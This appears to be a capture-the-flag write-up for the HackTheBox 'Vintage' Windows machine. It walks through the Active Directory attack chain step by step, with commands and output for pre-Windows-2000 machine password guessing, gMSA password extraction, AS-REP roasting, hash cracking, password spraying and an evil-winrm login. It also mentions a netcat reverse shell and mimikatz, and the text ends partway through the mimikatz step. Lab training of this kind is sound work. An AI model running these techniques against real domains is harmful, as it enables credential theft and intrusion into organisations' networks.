Vintage – HackTheBox Link to heading
- OS: Windows
- Difficulty: Hard
- Platform: HackTheBox
Synopsis Link to heading
“Vintage” is a Hard machine from HackTheBox platform. This machine teaches how hashes for old legacy machines can easily be retrieved and be used to move internally in an Active Directory
domain. Additionally, we learn how to enable disabled service accounts (if we have permissions over these accounts), leverage DPAPI
and change permissions to service accounts to perform a Constrained Delegation
attack to request a Kerberos
ticket in behalf of a privileged user.
User Link to heading
Vintage
box with credentials for the following account: P.Rosa
/ Rosaisbest123
Starting with an Nmap
scan shows multiple ports open: 53
DNS
, 88
Kerberos
, 135
Microsoft RPC
, 389
LDAP
, 445
Server Message Block
(SMB
), 5985
Windows Remote Management
(WinRM
); among others:
❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49670,49681,62654 10.10.11.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 00:37 -03
Nmap scan report for 10.10.11.45
Host is up (0.43s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-11 03:37:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
62654/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-12-11T03:38:24
|_ start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.75 seconds
First, let’s check the information we get get with our provided user and NetExec
for SMB
service:
❯ nxc smb 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'
SMB 10.10.11.45 445 10.10.11.45 [*] x64 (name:10.10.11.45) (domain:10.10.11.45) (signing:True) (SMBv1:False)
SMB 10.10.11.45 445 10.10.11.45 [-] 10.10.11.45\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
We get the error STATUS_NOT_SUPPORTED
. Checking Microsoft Documentation for this error this means, basically, that the server’s response does not understand or is unable to process the specific type of information the client is trying to modify/request.
If we pass these credentials using NetExec
as well, but through LDAP
service we get some info:
❯ nxc ldap 10.10.11.45 -u 'P.Rosa' -p 'Rosaisbest123'
LDAP 10.10.11.45 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.45 389 dc01.vintage.htb [-] vintage.htb\P.Rosa:Rosaisbest123 STATUS_NOT_SUPPORTED
We obtain a domain vintage.htb
and a FQDN
dc01.vintage.htb
.
Let’s add dc01
, dc01.vintage.htb
and vintage.htb
to our /etc/hosts
file then:
❯ echo '10.10.11.45 dc01 dc01.vintage.htb vintage.htb' | sudo tee -a /etc/hosts
Since we don’t have clear responses from SMB
or LDAP
services, let’s try to use Kerberos
. For this, request the ticket for the current user using its credentials and getTGT.py
:
❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
and use this ticket to authenticate through Kerberos
for a service like SMB
with NetExec
. For this, since the ticket will store the domain name, use the FQDN
as the IP address and specify the domain:
❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
It worked.
Now we are able to see some stuff like shared resources:
❯ KRB5CCNAME=P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb --shares
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\P.Rosa from ccache
SMB dc01.vintage.htb 445 dc01 [*] Enumerated shares
SMB dc01.vintage.htb 445 dc01 Share Permissions Remark
SMB dc01.vintage.htb 445 dc01 ----- ----------- ------
SMB dc01.vintage.htb 445 dc01 ADMIN$ Remote Admin
SMB dc01.vintage.htb 445 dc01 C$ Default share
SMB dc01.vintage.htb 445 dc01 IPC$ READ Remote IPC
SMB dc01.vintage.htb 445 dc01 NETLOGON READ Logon server share
SMB dc01.vintage.htb 445 dc01 SYSVOL READ Logon server share
This also works through LDAP
service:
❯ KRB5CCNAME=P.Rosa.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\P.Rosa from ccache
So let’s use this service to obtain some info about the Active Directory
environment using bloodhound-python
and the ticket obtained:
❯ KRB5CCNAME=P.Rosa.ccache bloodhound-python -c ALL -u 'P.Rosa' -p 'Rosaisbest123' -d vintage.htb -dc dc01.vintage.htb -ns 10.10.11.45 -k
INFO: Found AD domain: vintage.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.vintage.htb
INFO: Found 16 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: FS01.vintage.htb
INFO: Querying computer: dc01.vintage.htb
WARNING: Could not resolve: FS01.vintage.htb: The DNS query name does not exist: FS01.vintage.htb.
INFO: Done in 00M 59S
From the output we can see it is also trying to resolve FS01.vintage.htb
. We guess this is another machine in the domain.
Just to check if this is a machine account and exists, we can create a simple list and then use Kerbrute
. First, create a really simple list:
❯ echo -n 'nonvalid$\nFS01$' > potential_machines.txt
❯ cat potential_machines.txt
nonvalid$
FS01$
and use Kerbrute
to see if the account exists:
❯ kerbrute userenum -d vintage.htb --dc dc01.vintage.htb ./potential_machines.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop
2024/12/11 01:19:39 > Using KDC(s):
2024/12/11 01:19:39 > dc01.vintage.htb:88
2024/12/11 01:19:40 > [+] VALID USERNAME: FS01$@vintage.htb
2024/12/11 01:19:40 > Done! Tested 2 usernames (1 valid) in 0.519 seconds
So, as expected,the machine account FS01$
exists. We might keep this in mind since, if we gain access to the victim machine, we can get the IP address of this new machine.
Bloodhound
time. Upload all the generated .json
files by bloodhound-python
into Bloodhound
(in this case we will use the Community Edition
, or CE
). P.Rosa
user shows nothing.
However, if we search for FS01$
account machine we get something:
This computer/machine, besides being a member of Domain Computers
, is also a member of Pre-Windows 2000 Compatible Access
. This group also provides a description: A backward compatibility group which allows read access on all users and groups in the domain
. Searching more about this group leads to this blog where they give more details about it and its risks. Basically, this group was designed to be compatible with Windows NT
, and, therefore, it gives full read permissions over its members to avoid problems. Since we have full read permissions over it we could request hashes or tickets for its members.
Additionally, FS01$
has ReadGMSAPassword
rights over GMSA01$
account, which means we could extract its hash/ticket:
But we still need FS01$
credentials. Searching a little bit, we find a tool called pre2k-TS
, that can be obtained from its Github repository, which is a Python
script. Clone it, create a virtual environment, and pass a file that contains FS01$
string:
❯ git clone https://github.com/garrettfoster13/pre2k-TS.git
<SNIP>
❯ cd pre2k-TS
❯ python3 -m venv .venv_pre2k
❯ source .venv_pre2k/bin/activate
❯ pip3 install -r requirements.txt
❯ echo 'FS01$' > pre2k_machine.txt
❯ python3 pre2k.py unauth -d vintage.htb -dc-ip dc01.vintage.htb -input pre2k_machine.txt -save
___ __ __
/'___`\ /\ \ /\ \__
_____ _ __ __ /\_\ /\ \\ \ \/'\ \ \ ,_\ ____
/\ '__`\/\`'__\/'__`\ _______\/_/// /__\ \ , < _______\ \ \/ /',__\
\ \ \L\ \ \ \//\ __//\______\ // /_\ \\ \ \\`\ /\______\\ \ \_/\__, `\
\ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\/______/ \ \__\/\____/
\ \ \/ \/_/ \/____/ \/_____/ \/_/\/_/ \/__/\/___/
\ \_\
\/_/ @garrfoster
Reading from pre2k_machine.txt...
Testing started at 2024-12-11 03:01:10.864261
Saving ticket in FS01$.ccache
[+] VALID CREDENTIALS: vintage.htb\FS01$:fs01
We got credentials: FS01$:fs01
, and also a Kerberos
ticket FS01$.ccache
.
Optionally, we could get the Kerberos
ticket, or Ticket-Granting Ticket
(TGT
), using impacket-getTGT
with the credentials found:
❯ impacket-getTGT -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in FS01$.ccache
We can check if this ticket works using NetExec
:
❯ KRB5CCNAME=FS01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\FS01$ from ccache
To obtain GMSA01$
hash we use NetExec
and its --gmsa
flag for LDAP
service:
❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb
LDAP dc01.vintage.htb 389 dc01.vintage.htb [*] x64 (name:dc01.vintage.htb) (domain:vintage.htb) (signing:True) (SMBv1:False)
LDAP dc01.vintage.htb 389 dc01.vintage.htb [+] vintage.htb\FS01$ from ccache
❯ KRB5CCNAME=FS01\$.ccache nxc ldap dc01.vintage.htb -k --use-kcache -d vintage.htb --gmsa
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] LDAPs connection to ldaps://dc01.vintage.htb failed - (104, 'ECONNRESET')
LDAP dc01.vintage.htb 389 dc01.vintage.htb [-] Even if the port is open, LDAPS may not be configured
But we get some errors.
Therefore, we could also attempt to abuse this permission with bloodyAD
(install it with pip3 install bloodyAD
) using instructions from TheHackerRecipes:
❯ KRB5CCNAME=FS01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage -k get object 'GMSA01$' --attr msDS-ManagedPassword
distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53
msDS-ManagedPassword.B64ENCODED: rbqGzqVFdvxykdQOfIBbURV60BZIq0uuTGQhrt7I1TyP2RA/oEHtUj9GrQGAFahc5XjLHb9RimLD5YXWsF5OiNgZ5SeBM+WrdQIkQPsnm/wZa/GKMx+m6zYXNknGo8teRnCxCinuh22f0Hi6pwpoycKKBWtXin4n8WQXF7gDyGG6l23O9mrmJCFNlGyQ2+75Z1C6DD0jp29nn6WoDq3nhWhv9BdZRkQ7nOkxDU0bFOOKYnSXWMM7SkaXA9S3TQPz86bV9BwYmB/6EfGJd2eHp5wijyIFG4/A+n7iHBfVFcZDN3LhvTKcnnBy5nihhtrMsYh2UMSSN9KEAVQBOAw12g==
We got the NTLM
hash for GMSA01$
machine account.
Now, as we have learned, this machine does not directly accepts username/password, but Kerberos
tickets. So, as we have done previously, request a Kerberos
ticket for GMSA01$
user with impacket-getTGT
:
❯ impacket-getTGT vintage.htb/'GMSA01$' -hashes ':a317f224b45046c1446372c4dc06ae53' -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in GMSA01$.ccache
And check, again, that this ticket works:
❯ KRB5CCNAME=GMSA01\$.ccache nxc smb dc01.vintage.htb -k --use-kcache -d vintage.htb
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\GMSA01$ from ccache
Back to Bloodhound
we see what this new user/machine account can do:
It has AddSelf
and GenericWrite
permissions over ServiceManagers
group. Therefore, we could add our first user P.Rosa
to this group.
We can also see what can do ServiceManagers
group over other users (so it is worth adding P.Rosa
to this group):
Members of ServiceManagers
group have GenericAll
rights over svc_ark
, svc_sql
and svc_ldap
. With this we could change the password of these users, request their hashes through a Shadow Credentials
attack or attempt to make these users Kerberosteables
.
Since bloodyAD
worked perfectly with the tickets we will use this tool again to add P.Rosa
member to ServiceManager
group:
❯ KRB5CCNAME=GMSA01\$.ccache bloodyAD --host dc01.vintage.htb -d vintage.htb -k add groupMember 'ServiceManagers' 'P.Rosa'
[+] P.Rosa added to ServiceManagers
These are services accounts I personally never recommend to change their passwords, since we could disrupt some service if we do it. So we can attempt a Shadow Credentials
attack and, if this does not work, make these users Kerberosteables
. For the first attack, we clone PyWhisker
, install all dependencies in a virtual environment, use an old commit of it (since some updates don’t work very well) and execute it:
❯ git clone https://github.com/ShutdownRepo/pywhisker.git
<SNIP>
❯ cd pywhisker
❯ git checkout ec30ba5
Note: switching to 'ec30ba5'.
<SNIP>
❯ python3 -m venv .venv_pywhisker
❯ source .venv_pywhisker/bin/activate
❯ pip3 install -r requirements.txt
<SNIP>
❯ KRB5CCNAME=P.Rosa.ccache python3 pywhisker.py -d vintage.htb --dc-ip dc01.vintage.htb -u 'P.Rosa' -k --target 'svc_sql' --action 'add'
[!] Error while anonymous logging into vintage.htb
But we get an error in LDAP
similar as we obtained for NetExec
(which we can see adding -v
to PyWhisker
).
Then, let’s attempt to make these targets Kerberosteables
using bloodyAD
following these steps. First, we need to request the ticket for P.Rosa
again after adding this user to ServiceManagers
group again with impacket-getTGT
. The difference is that this ticket now will be “updated” and P.Rosa
will be a member of ServiceManagers
group:
❯ impacket-getTGT vintage.htb/P.Rosa:Rosaisbest123 -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in P.Rosa.ccache
Then, attempt to make the three service accounts available Kerberosteables
with bloodyAD
in a Bash
oneliner:
❯ for service in {ark,sql,ldap}; do echo "[+] Attempting with svc_$service"; KRB5CCNAME=./P.Rosa.ccache bloodyAD -d vintage.htb -k --host dc01.vintage.htb add uac "svc_$service" -f DONT_REQ_PREAUTH; done
[+] Attempting with svc_ark
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ark's userAccountControl
[+] Attempting with svc_sql
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_sql's userAccountControl
[+] Attempting with svc_ldap
[-] ['DONT_REQ_PREAUTH'] property flags added to svc_ldap's userAccountControl
Save all the users into a file:
❯ echo -e 'svc_ark\nsvc_sql\nsvc_ldap' > svc_accounts.txt
❯ cat svc_accounts.txt
svc_ark
svc_sql
svc_ldap
Then, use GetNPUsers.py
from Impacket
to see if this worked:
❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc_ark@VINTAGE.HTB:851d22f6b1f287a72b214849a72f8f46$8a50aa850d7308d6395263f38eb6055edb7183497cf2efb3b1ae36519e78afe32d62237d5a4082bb46b1c1e6c6f91c9411a068a699af45812704edc1c96e089d8480dade56b2c51591464b0c35c7e6e765dc4383fb10b1deec223694148d250e8b015cfb109f28b85ae8aec3a489bbda22a9e0dcc8905cc11a15ec144cc2aa351422da6c01b9fe547e4b0443c83a799e9dda729dd51996a4de10a427cffb273fd9e9b61ce3a766c0a2c46426ff9df9de57e7dc24c36b7de72aabbca5b8ae2d724e4c3f22fc1f971a0056c6d83ec78f5845ccd6f467a34e85911bc28ec2c0761ac139b3ae5c0f207f3203
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
$krb5asrep$23$svc_ldap@VINTAGE.HTB:de181c54e1f1fa909b445dfafe21c00b$ba8f456c051f20a08d01c43d4a03834c772b69410e79acc9040a30be30fdcaa860052fedc9c0c00bba53dcbfa85f86441916057cfad0fa62ae5336895c9603b9825a129de10d22c97cd4103376e1c0c99138608a73fc4c03dcd6d5036f763771994c7f128e69d79fd8d30ca9d0a5a774b19b48c433a3290672e06b75e5b0739cfe1a22851f5752910a2c2b7aa586a7776577c2714b53dbc9f7a2df53937555cb35a0ad6342f739427d44f893ad80fd57fcdcf3a275fc820790ba5031890f81c4172a5894f1ca93754b1208375d49bab0cea9c79b51fd0dc6ffe7f450b10494bcf0333607e15ed619d4f7
This worked for all, except for svc_sql
account.
Searching by KDC_ERR_CLIENT_REVOKED
leads to this page. There they say this error indicate this account might be disabled, locked or expired. We could try to enable it again, since we have GenericWrite
over svc_sql
and we can edit its AD DCL
to change permissions:
❯ KRB5CCNAME=./P.Rosa.ccache bloodyAD --host dc01.vintage.htb -d 'vintage.htb' --dc-ip 10.10.11.45 -k remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl
and now we can get the hashes for all the accounts:
❯ impacket-GetNPUsers -dc-ip dc01.vintage.htb vintage.htb/ -request -usersfile svc_accounts.txt -no-pass -outputfile svc_acc_hashes
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
$krb5asrep$23$svc_ark@VINTAGE.HTB:77b89b0796c4903b9f1226fa7355c11d$d9851d61d3302b76e97275a1dfaf9b594fa911fd27a7d644e650718efd8a87a0e6df6f3baaf960a41a5d9bbaae857670c9c3facf310b6c7fe62438be1aaf8fd6908db4ace4807dc8fac229f4ac8dbcf3d7580e89a8abf82799260fc776f3872a6b2c3e31c5e604785d06553e9ae9cbb5cf6ffe7bd8877bc621fba4ac663b1a17b4d850a64a666e021a60931b96e55a35baa3e1833a5a01391f6b587df2a16a3828210cbdb0777fa1f93a7cb36002028a8726cfd40cafd8efc1d7ff8612875611676b4d7c8abe753ac7d1161059a916fea66204b0586450316b7aecdc33ff964ae45eeb221a5956b29a48
$krb5asrep$23$svc_sql@VINTAGE.HTB:fe9803f611a9551b6badcf401804687b$d13bcf4afdfd461c5399e8b72d0a5a5fcde2d1338a74d7be2fc23b938a7c3fecdcdba19f8032dfa39d758d8b0e0a05d80006195ea57a7bfd26ae6651c6522e9f764b214ec13a7d9e1ce02cf953419487e81c400722843011797ee4d4d6b2e9b701bfd4624b3473d556daabb737d24ca6cb28724f55ccd3cb18f0f2799e7dba3179ac8450dbf382668bf8b5a48061164884958783a8da2fefc2fefb45487509b807fd32a58dbec552174c9eed3b6edb54e06ad003350c994235709dc6e0ade45b6100b4ef1af3d8ffd5c668088b0d06824784754ff069bf109404a9ccd57cf0193ad3784028be5c560657
$krb5asrep$23$svc_ldap@VINTAGE.HTB:b76171b08ab5c02b5320b8fdf22e9f11$637d5c01fb8687faf076e35b2be71bc4c849c085390000dec28840826de2ccf3b25aa20c11fea0e2228a8bdaedf1c058873ea376a5a17f5065f734426500796672cf22ec1ee5b3519f4ba9583d400cb4f542ae3ef5733854b706c39a8be4bcaa2e0984e8a9d218a9cc449bf85eb66f039b935a149e2175f594729da41b3702d5cddc86bf2bc3a7cfcbb933d2d43dd79d7ca9147876138f271e42ace111d2baeb17d7eb91712bc7f3a4c712826552ea8b080d76e2ec18b948be74831a3d4379d047f1b3e3858a12419f91746493d732179d28e8a111026aeccfda5132cb974254c293bce9df1255c97072
Then, attempt a Brute Force Password Cracking
with john
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt svc_acc_hashes
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Zer0the0ne ($krb5asrep$23$svc_sql@VINTAGE.HTB)
1g 0:00:02:28 DONE (2024-12-11 04:49) 0.006718g/s 96370p/s 199723c/s 199723C/s 0841079575..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We find credentials for svc_sql
account: svc_sql:Zer0the0ne
.
We can go back to Bloodhound
and check if this user has something interesting:
But does not have any rights over other users or does not belong to a privileged group.
Maybe this password is being used by some of the users in the domain. We can use the ticket of any user (for example, P.Rose
) in NetExec
to obtain all the users with --rid-brute
flag for SMB
service and save them into a file:
❯ KRB5CCNAME=./P.Rosa.ccache nxc smb dc01.vintage.htb -k --use-kcache --rid-brute | grep 'User' | awk '{print $6}' | awk -F '\' '{print $2}' > domain_users.txt
❯ cat domain_users.txt
Administrator
Guest
krbtgt
Domain
Protected
DC01$
gMSA01$
FS01$
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
And attempt a Password Spray
against these users with the password found for svc_sql
. The problem is we can only use Kerberos
and NetExec
does not provide an option with passwords without a ticket. We can then use again Kerbrute
and its passwordspray
command to perform this:
❯ kerbrute passwordspray domain_users.txt 'Zer0the0ne' -d vintage.htb --dc dc01.vintage.htb
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/11/24 - Ronnie Flathers @ropnop
2024/12/11 05:03:11 > Using KDC(s):
2024/12/11 05:03:11 > dc01.vintage.htb:88
2024/12/11 05:03:13 > [+] VALID LOGIN: C.Neri@vintage.htb:Zer0the0ne
2024/12/11 05:03:13 > Done! Tested 19 logins (1 successes) in 1.881 seconds
Got credentials: C.Neri@vintage.htb:Zer0the0ne
Obtain a TGT
for this user:
❯ impacket-getTGT vintage.htb/C.Neri:Zer0the0ne -dc-ip 10.10.11.45
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri.ccache
❯ KRB5CCNAME=./C.Neri.ccache nxc smb dc01.vintage.htb -d vintage.htb -k --use-kcache
SMB dc01.vintage.htb 445 dc01 [*] x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:False)
SMB dc01.vintage.htb 445 dc01 [+] vintage.htb\C.Neri from ccache
We could check if this user can log in through WinRM
with evil-winrm
using its -r
flag (see documentation of this tool for more info). But we need to add some parameters to it. I created a Python
script that creates a backup of /etc/krb5.conf
file (the one needed to log in with evil-winrm
) and then adds a configuration based on a domain and a Domain Control machine name:
#!/usr/bin/python3
# This script creates a copy/backup of '/etc/krb5.conf' file and then overwrites it
# based on a domain name and a machine name.
# For example: python3 evil-winrm_kerberos.py domain.local dc01
# REQUIRES ROOT since it is overwriting a file at '/etc' path.
import os
import sys
import argparse
import re
import shutil
def create_config_file(domain: str, dc: str) -> str:
"""
Creates text for /etc/krb5.conf file
:param domain: Domain to write and connect with evil-winrm
:param dc: Domain Controller machine name
"""
text_to_write = f"""
[libdefaults]
default_realm = {domain.upper()}
[realms]
{domain.upper()} = {{
kdc = {dc.lower()}.{domain.lower()}
admin_server = {dc.lower()}.{domain.lower()}
}}
[domain_realm]
{domain.lower()} = {domain.upper()}
.{domain.lower()} = {domain.upper()}
"""
return text_to_write
def copy_file(source_path, destination_path):
"""
Copies a file from source_path to destination_path.
:param source_path: The path of the file to be copied.
:param destination_path: The path where the file should be copied to.
"""
try:
if os.path.exists(destination_path):
print(f"[!] Error: The backup file '{destination_path}' already exists. Check you are not overwriting an old backup that can be important or delete that file and retry.")
sys.exit(1)
shutil.copy(source_path, destination_path)
print(f"[+] Backup created at {destination_path!r}.")
except FileNotFoundError:
print(f"[!] Error: The source file '{source_path}' does not exist.")
except PermissionError:
print(f"[!] Error: Permission denied when accessing '{destination_path}'.")
except Exception as e:
print(f"[!] An unexpected error occurred: {e}")
def ask_user(question: str)->bool:
"""
Ask yes/no to a user to continue
:param question: Question... :D
"""
print(f"[?] {question} ", end='')
user_input: str = str(input("[Y]es/[No]: ").strip())
positive_pattern: re.Pattern = re.compile(r'^(y|ye|yes)$', re.IGNORECASE)
negative_pattern: re.Pattern = re.compile(r'^(n|no)$', re.IGNORECASE)
if positive_pattern.match(user_input):
return True
if negative_pattern.match(user_input):
return False
print("[-] It wasn't so hard. It was just 'yes' or 'no'... So I am taking that as a no.")
return False
def check_being_exec_as_root():
"""
Check if the script is being executed as root
"""
if os.geteuid() != 0:
print(f"[!] This script must be executed as 'root'. Read the source code if you don't trust me.")
print(f" Please run: sudo python3 {' '.join(sys.argv)}")
sys.exit(1)
def get_user_arguments()->argparse.Namespace:
# Create an ArgumentParser object
parser = argparse.ArgumentParser(description="Configure krb5.conf for evil-winrm")
# Add a positional argument
parser.add_argument("domain", help="Domain Name. Example: vintage.htb")
parser.add_argument("dc", help="Domain Controller Name: Example: dc01")
# Return the parsed arguments
return parser.parse_args()
def modify_file(args: argparse.Namespace, data_to_write: str,
krb5_conf_file: str = '/etc/krb5.conf', backup_file='/etc/backup_krb5.conf'):
# Show the text that will be written
print(f"[+] The following data/text will be OVERWRITTEN at {krb5_conf_file!r}:\n{data_to_write}")
# Ask the user before proceeding
if not (ask_user("Would you like to continue?")):
sys.exit(1)
# Createa backup
copy_file(krb5_conf_file, backup_file)
# Write the file
try:
with open(krb5_conf_file, "w") as f:
f.write(data_to_write)
print(f"[+] {krb5_conf_file!r} has been configured")
except Exception as e:
print(f"[!] Error writing to {krb5_conf_file!r}: {e}")
sys.exit(1)
print(f"[+] Finally, after exporting your Kerberos ticket, to execute evil-winrm with Kerberos just run:\n evil-winrm -i {args.dc.lower()} -r {args.domain.upper()}")
return
def main():
"""
MAIN
"""
# Get user arguments
args: argparse.Namespace = get_user_arguments()
# Since this script needs "root" permissions, check if it is being executed with these permissions
check_being_exec_as_root()
# Create the data that will be writen into config file
krb5_file_data = create_config_file(args.domain, args.dc)
# Create a backup and modify original krb5 config file
modify_file(args, krb5_file_data)
if __name__ == "__main__":
main()
Execute it (requires privileges since it will overwrite /etc/krb5.conf
file):
❯ sudo python3 evil-winrm_kerberos.py vintage.htb dc01
[+] The following data/text will be OVERWRITTEN at '/etc/krb5.conf':
[libdefaults]
default_realm = VINTAGE.HTB
[realms]
VINTAGE.HTB = {
kdc = dc01.vintage.htb
admin_server = dc01.vintage.htb
}
[domain_realm]
vintage.htb = VINTAGE.HTB
.vintage.htb = VINTAGE.HTB
[?] Would you like to continue? [Y]es/[No]: y
[+] Backup created at '/etc/backup_krb5.conf'.
[+] '/etc/krb5.conf' has been configured
[+] Finally, to execute evil-winrm with Kerberos just run:
evil-winrm -i dc01 -r VINTAGE.HTB
If you don’t want to run the script, you just can copy the text printed and replace it on your /etc/krb5.conf
file. But always remember to create a backup for anything.
Once done, we can check if we can log in to evil-winrm
as this user providing the ticket as well:
❯ KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\C.Neri\Documents> whoami
vintage\c.neri
We can read the user flag at this user’s Desktop.
NT Authority/System - Administrator Link to heading
Sometimes, after using evil-winrm
I got the error message:
malloc(): unaligned fastbin chunk detected
[1] 234799 IOT instruction KRB5CCNAME=C.Neri.ccache evil-winrm -i dc01 -r VINTAGE.HTB
We upload a netcat
binary and send us a reverse shell with that binary. Now, even if the evil-winrm
connection dies, we can still work on a terminal.
This user does not present anything interesting:
PS C:\Users\C.Neri\Documents> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
We eventually see we can abuse Data Protection API
(DPAPI
). We know this because we eventually can see the hidden directory:
PS C:\Users\C.Neri\Documents> Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials\
Directory: C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 6/7/2024 5:08 PM 430 C4BB96844A5C9DD45D5B6A9859252BA6
We can see a credential file.
If we upload mimikatz
to abuse this service and execute it we get an error:
PS C:\Users\C.Neri\Documents> .\mimikatz.exe
.\mimikatz.exe
